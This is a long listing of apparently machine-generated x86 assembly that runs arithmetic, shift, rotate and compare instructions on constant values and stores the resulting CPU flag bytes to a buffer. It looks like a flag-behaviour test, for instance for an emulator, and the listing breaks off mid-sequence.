stosb byte es:[edi], al
mov ecx, 0x5a8f3894
mov edx, 0x511ca45c
add ecx, edx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xa4dea05
add ecx, 0x902b1d7
mov eax, 0x8d7c340e
aas
mov eax, 0x5e0e6bf1
mov ecx, 0x9c092026
sal eax, cl
mov edx, 0xf04ba96f
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x1dc33c9c
mov ecx, 0x6572014c
rol eax, cl
mov ecx, 0xc889476
mov ebx, 0xf6216744
sub ecx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x1c1e4381
mov ecx, 0x485958e5
ror edx, cl
mov edx, 0x4dcd5cdb
rol edx, 1
mov ecx, 0x5efc63a0
dec ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x27affacd
mov ecx, 0x67bc6bcb
add edx, ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xdfc0b982
rol ebx, 1
mov ebx, 0x6926ef7d
mov ecx, 0x481e8ee
rol ebx, cl
mov edx, 0x10370be5
rol edx, 1
mov ebx, 0x3058d8a0
dec ebx
mov edx, 0xfa04a313
rol edx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xc091a375
mov eax, 0x5bf63af5
cmp ecx, eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0x94942dd9
inc ecx
mov eax, 0x6600e605
mov ecx, 0xe483673a
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x64cf69a9
sub eax, 0x2e5c20f1
mov eax, 0xe8fa99f2
sal eax, 1
mov eax, 0x9ac672f6
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x9ad95eaa
mov ecx, 0xf12096bc
ror eax, cl
mov ebx, 0xe8e50840
rol ebx, 1
mov ebx, 0x26f61cd0
dec ebx
mov ebx, 0xbc82a14f
rol ebx, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xde0b4166
mov ecx, 0x59dae7d4
rol edx, cl
mov ebx, 0xbe243f0b
mov ecx, 0xb6b783a8
ror ebx, cl
mov ebx, 0x43fa9ec0
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xf79b46c2
sar edx, 0xb1
mov edx, 0x9f4d621b
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x7f99f46b
aaa
mov ebx, 0x5fa473af
sal ebx, 1
mov ecx, 0xff3ca79c
dec ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xc1e6f020
aas
mov edx, 0x80049e7b
shl edx, 1
mov eax, 0xcb9c8f00
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xfda05f14
mov eax, 0xed59aaf6
add edx, eax
mov eax, 0x371b4a71
aas
mov ecx, 0x37822958
dec ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x13eaeff7
rol eax, 1
mov eax, 0x66538195
mov ecx, 0x36425d52
ror eax, cl
mov eax, 0x4ccb1829
mov ecx, 0x4b9aa6f4
rol eax, cl
mov eax, 0xcb975760
neg eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x51eee8d6
rol ebx, 1
mov ecx, 0xc8870575
inc ecx
mov ebx, 0x57208508
mov ecx, 0x6623d6dc
rol ebx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xd776c9ce
mov ecx, 0xfa11e321
rol ebx, cl
mov ebx, 0xda494d00
shl ebx, 1
mov eax, 0x3cbdd44f
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xd60a7f81
mov ecx, 0x46757366
ror ebx, cl
mov ecx, 0xdc6121c0
dec ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x9e0c6f0d
mov ecx, 0x53fab98
sar eax, cl
mov edx, 0xcc7a0e22
mov ecx, 0x50a5b210
ror edx, cl
mov edx, 0x5dfbac2d
mov ecx, 0x238ad406
rol edx, cl
mov ebx, 0x28309248
mov ecx, 0x91739a83
ror ebx, cl
mov edx, 0x6a4a0dcf
inc edx
mov eax, 0xe116f0a1
mov ecx, 0xa631a2da
ror eax, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xfceeef0b
mov ecx, 0xea69595e
rol ebx, cl
mov edx, 0x52dd0bb6
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xd5aad549
cmp eax, 0xf59bbb05
mov ebx, 0x37ca9e30
mov ecx, 0x1735c5ae
rol ebx, cl
mov ebx, 0x351b9110
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x2d82accd
mov ecx, 0xf0cd4122
rol edx, cl
mov ebx, 0xf33e831f
inc ebx
mov ebx, 0x7b6d01ea
rol ebx, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x348f37cf
aaa
mov ebx, 0x49c808d7
mov eax, 0x8a6134d5
cmp ebx, eax
mov eax, 0x89e0e3cb
aaa
mov edx, 0x9ce9f1e7
mov ecx, 0x71700c43
rol edx, cl
mov eax, 0xd12cf05f
aas
mov ebx, 0x19c467a9
mov ecx, 0xbcd7f379
sar ebx, cl
mov ebx, 0x35e1fe10
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x6360d90b
mov ecx, 0xfb63228e
ror eax, cl
mov eax, 0x44d598b4
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x38c187fa
mov ecx, 0x35a8c5c2
ror ebx, cl
mov eax, 0x11c0a1ec
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x58d8e2c2
neg ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xd869015d
mov edx, 0x52ee371b
add ebx, edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xd5870405
mov ecx, 0xd1c6be56
ror edx, cl
mov edx, 0x6e4ca9ff
shl edx, 1
mov eax, 0x3ce02036
rol eax, 1
mov edx, 0x13e98123
rol edx, 1
mov edx, 0xa92b703d
rol edx, 1
mov eax, 0x445db48a
mov ecx, 0xfe3400fa
ror eax, cl
mov edx, 0xdfcc0fcb
rol edx, 1
mov eax, 0x8eb25d71
shl eax, 0xe4
mov ecx, 0x27c590c7
mov ebx, 0x251a1a48
cmp ecx, ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x355820a1
rol eax, 1
mov eax, 0x59b86f
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x580b0b9e
add edx, 0x6e814c1
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x9f39631f
mov ecx, 0x597e7610
add edx, ecx
mov ecx, 0x87cb28f0
mov ebx, 0xdba849cb
add ecx, ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xf913b7bc
rol eax, 1
mov eax, 0x778b7bd8
rol eax, 1
mov ebx, 0x2b143949
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xb65f1d36
mov ecx, 0xcefed91d
ror edx, cl
mov ebx, 0x12577b0b
sal ebx, 0x8a
mov ebx, 0x6db0e22d
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x976ba990
mov ecx, 0x9cba83d5
ror edx, cl
mov edx, 0x91291bf
mov ecx, 0xc09d242b
ror edx, cl
mov eax, 0xd03fbd0e
aas
mov edx, 0x8ec57b7b
shl edx, 0xa2
mov eax, 0xd17de479
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xb3354a36
mov ecx, 0x16c41db
rol edx, cl
mov edx, 0x32967a6f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xfe6e6801
mov ecx, 0x1e9fb4e
rol ebx, cl
mov ebx, 0x17d251ad
shl ebx, 0x61
mov edx, 0x3fa9794c
rol edx, 1
mov ebx, 0xe19ff87b
mov ecx, 0x9f3e9b5b
rol ebx, cl
mov ebx, 0x47250dd4
sal ebx, 0x43
mov ebx, 0x5698802a
mov ecx, 0x587b4e81
ror ebx, cl
mov ecx, 0xee4725b0
dec ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x5f3fe4c7
mov ecx, 0xf5eaa16
rol edx, cl
mov edx, 0x29d1d08d
rol edx, 1
mov edx, 0xf7104942
mov ecx, 0xcfd3c73e
rol edx, cl
mov ebx, 0x743c96c8
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x187d1cf0
shl edx, 1
mov edx, 0x4440e3ca
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xd50488ef
rol edx, 1
mov ecx, 0x65b8e630
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x33d039ce
mov ecx, 0x793e5b2
ror edx, cl
mov eax, 0xd60be490
mov ecx, 0x31da060b
ror eax, cl
mov edx, 0xa3d4e31
rol edx, 1
mov ebx, 0xc58a1a03
rol ebx, 1
mov eax, 0x11b6209f
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x3daf9f34
cmp edx, 0xc5bcd863
mov ebx, 0x3114b76d
mov edx, 0x2dbd67ea
add ebx, edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x130a6c7f
mov ecx, 0x57757f4e
rol eax, cl
mov ebx, 0x74413c9
mov ecx, 0xf057cc96
ror ebx, cl
mov edx, 0x7e58c65
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x7736da82
mov ecx, 0x40d14f65
sal ebx, cl
mov edx, 0x6a1095f0
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x71ff6909
aaa
mov ecx, 0x49f65a9d
inc ecx
mov eax, 0xa6d0aaa6
mov ecx, 0x669337a8
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x7fe82978
rol ebx, 1
mov eax, 0x5d322f2b
mov ecx, 0x513d3c42
rol eax, cl
mov eax, 0x6af5cb17
mov ecx, 0xc02cacf0
ror eax, cl
mov ebx, 0x6bc1f633
mov ecx, 0x54a89f24
ror ebx, cl
mov ebx, 0xd1f96938
mov edx, 0x753ebcc1
sub ebx, edx
mov eax, 0xee16ffb4
aas
mov ebx, 0x2b6982f5
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x4708da47
rol ebx, 1
mov ebx, 0x65e3b593
shl ebx, 1
mov ebx, 0xc593977a
mov edx, 0x19d00a2b
sub ebx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x56d7e1c9
cmp eax, 0xabc43c79
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xa19f26a
shl eax, 1
mov eax, 0xa26916fa
aaa
mov eax, 0xd1fa8c19
mov ecx, 0xfc252011
ror eax, cl
mov ebx, 0xa652c52c
mov ecx, 0x8add3104
shl ebx, cl
mov eax, 0x602962cd
mov ecx, 0x39b01a65
ror eax, cl
mov eax, 0xeb619abf
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0xa5998fa1
mov ecx, 0x6ee0f3d2
rol edx, cl
mov eax, 0x146a55fb
inc eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xc6c2eec5
mov ecx, 0x270dbc25
rol eax, cl
mov eax, 0x6fa5a8a3
mov ebx, 0xff7ad838
add eax, ebx
mov eax, 0xee5db4e0
aaa
mov edx, 0x13597bc3
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x2d1b69ec
aas
mov ebx, 0xd332d989
cmp ebx, 0x5883a8b4
mov ebx, 0xa289346e
mov ecx, 0x89900e52
ror ebx, cl
mov eax, 0x1ec6cb6f
inc eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xbaf15763
sub edx, 0x36d65fd2
mov eax, 0xea62b992
aas
mov edx, 0x4aaea5b9
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x42615e88
rol eax, 1
mov ebx, 0x3cf597
sub ebx, 0x91c5fdc5
mov eax, 0x85414472
aaa
mov eax, 0x9b79fa11
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0xc92240ea
mov ecx, 0x36ed154d
rol eax, cl
mov ebx, 0x34d7e219
sal ebx, 1
mov edx, 0xfb60a1e0
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xcda8ba08
mov ecx, 0xf0c19c58
sub ebx, ecx
mov eax, 0x3cf2e6f3
aas
mov edx, 0xa1ece463
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xba6d135e
mov ecx, 0x4284a4be
ror eax, cl
mov eax, 0x7b8fd749
mov ecx, 0xaaee9d38
rol eax, cl
mov edx, 0xab9edd1b
inc edx
mov ebx, 0x384efbd8
rol ebx, 1
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xbebafe83
shl eax, 1
mov edx, 0xd7b1f3e5
mov ecx, 0x3a58a00e
ror edx, cl
mov eax, 0xc422f169
aaa
mov ebx, 0x6f9c16de
rol ebx, 1
mov ebx, 0xaf461677
rol ebx, 1
mov ebx, 0x611edda7
mov ecx, 0x81592855
rol ebx, cl
mov ebx, 0x7285a0a0
dec ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x59b7a197
rol ebx, 1
mov eax, 0x213eaa1d
shl eax, 0x47
mov edx, 0x134a0146
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xf5f0bc87
cmp edx, 0x769da73
mov eax, 0xb125332b
aas
mov edx, 0x1572de10
dec edx
mov eax, 0xcd58a5cd
mov ecx, 0x723b86c1
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x34d24c6f
inc ecx
mov ebx, 0xcc1e8de7
mov ecx, 0xb85926f8
ror ebx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xd7b8b2ba
aas
mov ebx, 0xd3a64d0b
shl ebx, 0x61
mov ebx, 0xaf2cd40d
inc ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xb7c4db74
inc eax
mov eax, 0x8c30d6e7
mov ecx, 0x5734232
ror eax, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0xb2f2707f
inc ecx
mov eax, 0x4a9f769e
mov ecx, 0xc3ed652
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0xc86d555a
rol edx, 1
mov eax, 0x7e699368
inc eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x3fc6e49b
mov ecx, 0x91a1db58
ror eax, cl
mov ebx, 0xa6dd6f4b
dec ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x3c29ee77
mov ecx, 0x5b01d5d
ror ebx, cl
mov eax, 0xdac8d6ff
rol eax, 1
mov ebx, 0xfc5ec7fb
rol ebx, 1
mov ebx, 0x9e555368
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x9a409a7
mov ecx, 0x3790bc
rol ebx, cl
mov eax, 0x23d4e5b2
inc eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x196cf04e
inc ebx
mov ebx, 0x2a041590
mov ecx, 0xe617e9cd
ror ebx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x810f86f1
mov ecx, 0x566e210f
rol eax, cl
mov eax, 0x83071c9e
mov ecx, 0xc546fb57
rol eax, cl
mov eax, 0x48a3f416
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x6eeb72cd
add ecx, 0x448ee06
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x9eb6ba5f
mov ecx, 0x56513068
rol edx, cl
mov edx, 0x5590ee78
inc edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xbecbd194
mov ecx, 0x459ad1fe
ror edx, cl
mov edx, 0x42c04254
mov eax, 0x1bf94ab7
add edx, eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xcf6d2692
sal ebx, 1
mov eax, 0x7f25dcd3
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xddb4dab0
mov ecx, 0x5a872ed7
ror ebx, cl
mov eax, 0xaf02687f
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xdb68f1a9
mov ecx, 0xae8b7f0b
ror eax, cl
mov ecx, 0xdcb2cf45
inc ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x68756872
rol eax, 1
mov eax, 0x2dc85497
shl eax, 1
mov eax, 0x8b729c00
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x12355c80
mov ecx, 0x7c6c7a02
rol edx, cl
mov eax, 0x423d044b
cmp eax, 0xfa327a67
mov eax, 0x877ee597
aas
mov ebx, 0x9d8a92a0
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x53e2332f
shl ebx, 1
mov ebx, 0x22953e31
sal ebx, 1
mov edx, 0x3886e103
sub edx, 0x1547873c
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xe107ff2b
mov eax, 0x2234d6a9
cmp ebx, eax
mov ebx, 0xe5a96048
mov ecx, 0x6530f92d
ror ebx, cl
mov edx, 0x34925faf
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x34b61d27
mov ecx, 0x15b75685
cmp edx, ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x3ccb38ad
inc edx
mov eax, 0x2b54dcb6
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x779f72ac
dec ebx
mov ebx, 0x7f31c22a
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x1ee1dd1
mov ecx, 0xe36945b0
ror eax, cl
mov eax, 0x60c6d233
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x78d9ed0c
dec ebx
mov ebx, 0x1a385307
mov ecx, 0x669b45ce
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x4a4933f0
shl eax, 1
mov edx, 0xf981f7d1
dec edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x57b95ae3
shl eax, 1
mov ecx, 0xc221912f
inc ecx
mov edx, 0x5f5d66a5
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x66cceb14
mov ecx, 0x78ff674d
rol edx, cl
mov eax, 0x45c984ff
cmp eax, 0x24ce6a6a
mov eax, 0xbfdaf087
aaa
mov ebx, 0x9de75212
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xc9f5d10f
rol ebx, 1
mov eax, 0x5ca9075f
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0xabeb4299
aas
mov ebx, 0x311d31f8
mov ecx, 0xa5f4fc6d
rol ebx, cl
mov eax, 0xd84c8539
mov ecx, 0xc07f9cc3
sal eax, cl
mov ebx, 0x6b8bcb3f
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x8db2338f
mov ecx, 0xf3bdfcce
rol ebx, cl
mov edx, 0x210abfb7
dec edx
mov edx, 0x43d67d2e
rol edx, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0xde55c4a
sub ecx, 0xe0babfe1
mov eax, 0xe7749609
aas
mov eax, 0x26d1353a
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x753c223e
mov ecx, 0xfb2f5515
rol eax, cl
mov edx, 0x66419641
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x7540e890
mov ecx, 0xa8c39457
ror ebx, cl
mov ebx, 0xe7ca9179
mov ecx, 0x87359650
ror ebx, cl
mov eax, 0xa6222e1f
mov ecx, 0x67ede707
ror eax, cl
mov edx, 0x3f078629
inc edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xe956e24f
sub eax, 0xbdd703a2
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x6aeb6940
mov ecx, 0x8e3a62da
rol ebx, cl
mov ecx, 0xcac7c438
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xb251fa38
mov ecx, 0x5b78eb0f
rol edx, cl
mov ecx, 0xb724c59a
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xc6bc41ab
rol eax, 1
mov eax, 0xa33e388e
sal eax, 1
mov ecx, 0x989e07f0
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x9811aa91
mov ecx, 0x4038a0c9
rol ebx, cl
mov edx, 0x3849a306
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x27684c29
mov ecx, 0xaa8bfa08
ror ebx, cl
mov eax, 0x303614c4
mov ecx, 0x3dd15126
rol eax, cl
mov eax, 0x100ea905
sar eax, 0x51
mov eax, 0x1962a80
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x49642111
mov ebx, 0xe7cd8010
cmp ecx, ebx
mov edx, 0xf452e619
shl edx, 1
mov ebx, 0x1dd9b2d4
dec ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x2b4de41a
shl eax, 1
mov ebx, 0x5150c9ea
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x5b26cddb
mov ecx, 0x7e81c324
sal ebx, cl
mov ebx, 0x3b2cb12
inc ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x570aca52
cmp ecx, 0x4b7b1750
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x9edc8529
cmp edx, 0xdbe51b47
mov ebx, 0x6719b1ba
rol ebx, 1
mov eax, 0x8178a1eb
mov ecx, 0xe2db2df2
rol eax, cl
mov eax, 0x288b17af
inc eax
mov edx, 0x24d670e5
mov ecx, 0xa0f17255
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0xf8aecc7b
rol edx, 1
mov eax, 0xc86bc493
aas
mov ecx, 0x699d9bed
dec ecx
mov ebx, 0x5a0c300f
rol ebx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x1d3b86a
cmp ecx, 0x4110cde3
mov eax, 0x5e3ca623
aas
mov eax, 0x3b1f44ca
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x9722babc
rol eax, 1
mov edx, 0x2a0fd97e
dec edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0x9dfd1351
inc ecx
mov edx, 0xaed8b63a
mov ecx, 0xe9bbea36
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x918f3243
sal eax, 1
mov ebx, 0x910e8f4f
rol ebx, 1
mov ecx, 0x7a70696f
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x2788c2d4
mov ecx, 0x172b9bbd
rol eax, cl
mov ecx, 0x9732d2b0
dec ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xda8abdbf
rol edx, 1
mov edx, 0x92c41197
mov ecx, 0x79d758a2
rol edx, cl
mov eax, 0x3689046e
sal eax, 3
mov ecx, 0x3d5479a8
dec ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x214a2398
dec edx
mov ebx, 0x8163fbf
rol ebx, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x70fa3b23
mov ecx, 0xb725ead2
sal ebx, cl
mov eax, 0xa2c66aa7
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x33e4187b
mov ecx, 0x6b773579
sal eax, cl
mov edx, 0xe737f5c2
mov ecx, 0x5c36155b
shl edx, cl
mov eax, 0x79efd960
dec eax
mov edx, 0x47fb8cb7
mov ecx, 0x758a1e3d
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x23a7aebb
mov ecx, 0x466bbb6
ror edx, cl
mov edx, 0x3a3ed377
rol edx, 1
mov edx, 0xd4d81d29
rol edx, 1
mov eax, 0x6c201115
sar eax, 0x4c
mov eax, 0x5a95864e
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xb494357
rol edx, 1
mov ecx, 0x4f678390
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xbe9da5c1
mov eax, 0x2f12e600
sub ebx, eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x2736e91f
inc edx
mov ebx, 0xe70e80e7
mov ecx, 0xa909b62d
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x2fbec7a2
dec edx
mov ebx, 0x7896a9a2
mov ecx, 0xebb1a6a8
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x5fe90500
mov ecx, 0x60703b09
rol eax, cl
mov ecx, 0x7ea3ab90
dec ecx
mov ebx, 0x61ff6ba2
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x98644e5d
mov ecx, 0x91f7ea8c
rol eax, cl
mov edx, 0xe6e721cf
sub edx, 0xe294fb89
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xdaf57a29
sal ebx, 1
mov ebx, 0xd39ab580
mov ecx, 0x8045f0d3
rol ebx, cl
mov eax, 0x52a7faba
aas
mov edx, 0x55e355cd
rol edx, 1
mov ebx, 0x660fc2ed
mov ecx, 0xaf6e83a7
sal ebx, cl
mov ebx, 0x78a01d1f
inc ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x9e1bdd86
mov ecx, 0xd02a5139
ror ebx, cl
mov eax, 0x11cd19fe
inc eax
mov ebx, 0xfdc99be6
rol ebx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x45fb9b35
add eax, 0x76182c23
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x14a9bc83
mov ecx, 0xf030bc46
ror ebx, cl
mov edx, 0xa1060442
inc edx
mov edx, 0xc79286d7
mov ecx, 0x691d384e
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x3942d15d
mov ecx, 0xad53972f
cmp edx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x57a847fc
rol edx, 1
mov edx, 0xb9fd861a
inc edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x4cf00e00
rol edx, 1
mov ecx, 0x56526ce8
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xa895382d
rol eax, 1
mov eax, 0x3509b75
mov ebx, 0xf949b7b4
cmp eax, ebx
mov eax, 0x855a83cf
aas
mov ebx, 0x8d3cb3bb
mov ecx, 0x732fe878
rol ebx, cl
mov eax, 0xfc15f7a2
mov ecx, 0x61ccfe59
rol eax, cl
mov ebx, 0x4463cb5a
mov edx, 0x78601dd7
cmp ebx, edx
mov eax, 0x45d5983d
aaa
mov ecx, 0xf378e29f
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x12895bee
inc ecx
mov eax, 0x2aa803b3
rol eax, 1
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xb043f4c9
mov ecx, 0xb1f25f42
ror edx, cl
mov ebx, 0x236d60fb
cmp ebx, 0x7ba2e307
mov eax, 0x9c8fb81a
aaa
mov eax, 0x72bd51a0
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0xe7ac0c23
rol eax, 1
mov ebx, 0x5cb0ff40
mov ecx, 0xc7f36121
rol ebx, cl
mov eax, 0xb2613eed
dec eax
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x3bd3d87a
mov edx, 0xf3104277
sub ecx, edx
mov ebx, 0x62a49f6
mov ecx, 0xa315828a
rol ebx, cl
mov edx, 0x3773e990
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x1c9f8a77
cmp eax, 0xd1ecc169
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x82e4d869
mov ecx, 0x9677c803
sar edx, cl
mov eax, 0xcd1407f
mov edx, 0x533626a6
add eax, edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xaded2ccf
cmp eax, 0x74220db9
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x912ba6c7
mov ebx, 0x19880376
sub eax, ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xa6cf6aad
mov ebx, 0x485ce7dd
sub eax, ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xbe1d7aac
mov ecx, 0x46f44e18
rol ebx, cl
mov ebx, 0xbde0d89
inc ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x55243fd5
inc edx
mov edx, 0x9f905fa4
mov ecx, 0xca5305f3
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x30cbb570
mov ecx, 0x3f9a8b38
rol eax, cl
mov ebx, 0xcc00427
cmp ebx, 0x1df94703
mov eax, 0xe2bbe052
aas
mov edx, 0xb11c2bc0
inc edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xde492083
mov ebx, 0x134e7b56
sub eax, ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x3a676a07
rol ebx, 1
mov ebx, 0xca0a52be
sar ebx, 0x6e
mov edx, 0x773a5dc0
mov ecx, 0xee65bbc2
ror edx, cl
mov edx, 0x851d4719
mov ecx, 0xc9f49eaf
rol edx, cl
mov edx, 0xa3a80fdf
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x747fdd8e
shl eax, 0x63
mov eax, 0x1e5f0de0
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x195b2116
cmp ebx, 0xb5f88984
mov eax, 0x73072d49
mov ecx, 0x7546e918
ror eax, cl
mov eax, 0x25df2a5f
mov edx, 0x422cf187
add eax, edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x8e5cb7f5
mov ecx, 0x44cf6283
